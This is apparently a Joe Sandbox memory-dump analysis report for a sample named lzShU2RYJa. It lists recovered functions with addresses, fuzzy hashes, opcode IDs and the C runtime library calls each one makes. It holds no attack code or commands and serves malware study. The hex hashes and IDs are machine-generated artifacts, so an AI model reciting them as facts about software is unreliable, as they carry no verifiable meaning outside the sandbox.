Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 77cbf0bb75adb259f6cc20947c9607f65af2b085d6b2c046c1e563611f735206
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 72C12873E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E2B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 52227004e9322766340071286bfd06283d5e3a3a31f89ebf8f0ea18ec0e372e3
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 89A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05E230F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05E2CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: c7bd979856451b3dfe41bcd9a23a29a5fb702c91e6e9d541c5a06a09bc05a34a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 96C19DB5E003599FCB54CFA9C881AEEFBF1FF48204F24856AD959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E25DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 740717ac2d815e3c52ebc51457df207109b5cfe804fa0630bcbc6cca03f64b72
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 14B17370039FA686CBD3FF30911024BF7E0BFC525DF44194AD59986864EB3EE94E9216

Uniqueness

Uniqueness Score: -1.00%

Function 05E27520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 579b0977f05d0aa4f7445aa22bc2c9c79689622af2b7faa2e9094aa2fcf2df7e
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: B5912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05E2C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 8fbe91d09d4f48c064013a196db0b9029b0105958983278f5b2dbefd663a4540
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 3CB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64916AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: b126a90dee9d5289f5d6b445a6840375454087704652af105c4064aaa34af17f
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: AD71F473A20B254B8314DEB98D94192F2F1EF88610B47C27CCE84D7B45EB71B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E259F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 587a1ca00a5ddc79b58e388a72296d1e909d39e7b340c4cf952921b9c213a1ce
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: F18138B2A047019FC328CF19D88566AF7E1FFD8214F15892EE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05E28E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 7b11c74f4bd2655f0b5755f836b3df40ebf2b72aa9ccf5e7109e61160afc7d05
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: DF710622535B7A0AEBC3DA3E881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 802e10667844eddcf82a7c10dc3ae00922bccb992608af38c7e24ff325cd1853
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: 22813876A10B669BD754CF2AD8C049AFBF1FB08210B518A3ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E29120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 33c4349e87826be0c7572f36a2fc79cbdf16a3737db1e2fb8b25af17c68f92d9
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 1E61A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05E27A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 9099c8c2bd0bf95e9e8b35805516504aa3916b63f18c0dd1df6fccb4103b2b92
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 58617C3791262B9BD761DF59D84627AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05E27880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: ecb0956da765d3fab4211c8bf3446d2ec4945589bec780d7bd30af20f513812c
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: F951DD229257B945EBC3DA3D88504AEBBE0BE49106B46055BDCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 05E27220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 044E171C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44e0000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: b932aa99c37eefe128515e8f1ea1fcd0739d1fe884dae2b8e4cea2526442d7fa
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: D33158758462459FCF15CF70D890AB6BB70FF87725F18899ED4858B102D3356047C794

Uniqueness

Uniqueness Score: -1.00%

Function 05E270E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 05E27393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: a58df6ce2d625f00252a5d00779ce7ced38ca205abf6643c603353b4b913a185
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 8E3126716183519FD741EF29D480A4BF7E0FFC8298F01E919F98897225D730E988CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05E418D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 77ac140c8f8d091f91c489885f6f40c17a21019bd0c8a8e973bd4691c4c67bad
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: A111297724814243FE0C862DF4B45BEE395FBC622872C627AD3C34B658D222E1C1DD00

Uniqueness

Uniqueness Score: -1.00%

Function 05E2B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 896c53f9504b1edde48a1ed2252a6d6a39599a164b3eeef564cc6e69112f5d72
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: D211420A4492C4BDCF424A7840E56EBFFA58E37218F4A71DAC4C45B743D01B150FE761

Uniqueness

Uniqueness Score: -1.00%

Function 044E00A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, Offset: 044E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44e0000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ada3487bc403d0623fd0e17ca8eeb36995fd1e714650444d3bb6131c5fdd5daa
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: C511A9723401109FDB54DF56DCC0FB673D9EB89325B198066ED14CB312D6B6E842C760

Uniqueness

Uniqueness Score: -1.00%

Function 05E20042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a8e4cc8e9630370fcd1038ae349f65339aa0fcc4f72dfef49cecc4eb56cd3c03
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9F11A172340110AFEB54DF65DCD4FA673EAFB88220B198565ED48CB355E676EC01C760

Uniqueness

Uniqueness Score: -1.00%

Function 05E2A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: f754c2cfebb227e0f9f84f128f6d034196cb5a7821bd0b9379a75b761f87afcb
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 770128768106629BD710DF3EC8C045AFBF1BB082117528B3ADC9083A41D334E662DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 05E46437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E4644E

Part of subcall function 05E49636: __calloc_impl.LIBCMT ref: 05E49645

__calloc_crt.LIBCMT ref: 05E46472
_free.LIBCMT ref: 05E46480
__calloc_crt.LIBCMT ref: 05E4648E
_free.LIBCMT ref: 05E4649E
_free.LIBCMT ref: 05E464A4
__copytlocinfo_nolock.LIBCMT ref: 05E464B3
__setmbcp_nolock.LIBCMT ref: 05E464D4
_free.LIBCMT ref: 05E464E2
___removelocaleref.LIBCMT ref: 05E464E9
___freetlocinfo.LIBCMT ref: 05E464F0
_free.LIBCMT ref: 05E464F6

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 3a50d251b462db2d67774e828ef126c20246553062a2e51788a93d6e41190ae5
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 18212031708240AFEF317F25FC09E9B7BE5FF82660B10A02AE4C6550A0EA268950CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05E43F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E43F51

Part of subcall function 05E45BA8: __getptd_noexit.LIBCMT ref: 05E45BA8

__gmtime64_s.LIBCMT ref: 05E43FEA
__gmtime64_s.LIBCMT ref: 05E44020
__gmtime64_s.LIBCMT ref: 05E4403D
__allrem.LIBCMT ref: 05E44093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E440AF
__allrem.LIBCMT ref: 05E440C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E440E4
__allrem.LIBCMT ref: 05E440FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E44119
__invoke_watson.LIBCMT ref: 05E4418A

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 59d490559cdbaec98150208bf339a6e0a12f1eef378e681896a8d4039070302b
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: A171E671B00716ABFB249E79DC84BAAB3B9BF14324F14553AF894D66C0E770D9408F90

Uniqueness

Uniqueness Score: -1.00%

Function 05E4650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E46547
__calloc_crt.LIBCMT ref: 05E46598
__lock.LIBCMT ref: 05E465AE
__copytlocinfo_nolock.LIBCMT ref: 05E465BF
_wcscmp.LIBCMT ref: 05E465F9
__lock.LIBCMT ref: 05E46610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E46622
___removelocaleref.LIBCMT ref: 05E46628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E46647

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: e963c539e3a263b3d8338e6677af9eb16847b05ff63f5485f299259cd6965984
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 27413432B04304AFEF10AFA4FC88B9E3BE5BF46314F10A46EE994A6191DB759644DF11

Uniqueness

Uniqueness Score: -1.00%

Function 05E484AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E484B1
_free.LIBCMT ref: 05E484E2
_free.LIBCMT ref: 05E484F5
_free.LIBCMT ref: 05E48513
_free.LIBCMT ref: 05E48525
_free.LIBCMT ref: 05E48536
_free.LIBCMT ref: 05E48541
_free.LIBCMT ref: 05E48565
_free.LIBCMT ref: 05E48581
_free.LIBCMT ref: 05E48597
_free.LIBCMT ref: 05E485BF

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 3b7f7243d5b52467e2d58428ea0e90a9a9b15918423a0999c7172c00f5791ea6
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5831B431E082D0DBDF255F54FC8489977A4FB14324B04A62AE9C5572A0CBB859C9EF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E6FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E6FC1F

Part of subcall function 05E5169C: std::exception::_Copy_str.LIBCMT ref: 05E516B5

__CxxThrowException@8.LIBCMT ref: 05E6FC34
std::exception::exception.LIBCMT ref: 05E6FC4D
__CxxThrowException@8.LIBCMT ref: 05E6FC62
std::regex_error::regex_error.LIBCPMT ref: 05E6FC74

Part of subcall function 05E6F914: std::exception::exception.LIBCMT ref: 05E6F92E

__CxxThrowException@8.LIBCMT ref: 05E6FC82
std::exception::exception.LIBCMT ref: 05E6FC9B
__CxxThrowException@8.LIBCMT ref: 05E6FCB0

Strings

leM, xrefs: 05E6FCA8

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 0898a4ccafead90925c48a77a981e67f079e2e9539cb906874ea2af2960e2248
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: F311FE79D0020DBBCF04FFA5E459CDDBB7CAB04344F5085A6AD9497240EB74A348CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E2F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E2F01F

Part of subcall function 05E41602: __FF_MSGBANNER.LIBCMT ref: 05E41619
Part of subcall function 05E41602: __NMSG_WRITE.LIBCMT ref: 05E41620

_malloc.LIBCMT ref: 05E2F02B
_wprintf.LIBCMT ref: 05E2F03E
_free.LIBCMT ref: 05E2F044
_free.LIBCMT ref: 05E2F065
_malloc.LIBCMT ref: 05E2F06D
_sprintf.LIBCMT ref: 05E2F0C0
_wprintf.LIBCMT ref: 05E2F0D2
_wprintf.LIBCMT ref: 05E2F0DC
_free.LIBCMT ref: 05E2F0E5

Memory Dump Source

Source File: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e20000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 326b45451a5e5ab89fd393eccbaa563a7c9c2dd3eea520e0cf7b944a70fd628c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: FA113AB6A005607AD761A6B56C15EFF3BEC9F45302F0410A9FBDCD1180DA185A04DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 05E31960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E319C6
__CxxThrowException@8.LIBCMT ref: 05E319F1
__CxxThrowException@8.LIBCMT ref: 05E31A1A
__CxxThrowException@8.LIBCMT ref: 05E31A4B
_memset.LIBCMT ref: 05E31A6A
__CxxThrowException@8.LIBCMT ref: 05E31A90
_malloc.LIBCMT ref: 05E31AA0
_memset.LIBCMT ref: 05E31AAB
_sprintf.LIBCMT ref: 05E31ACE

Memory Dump Source

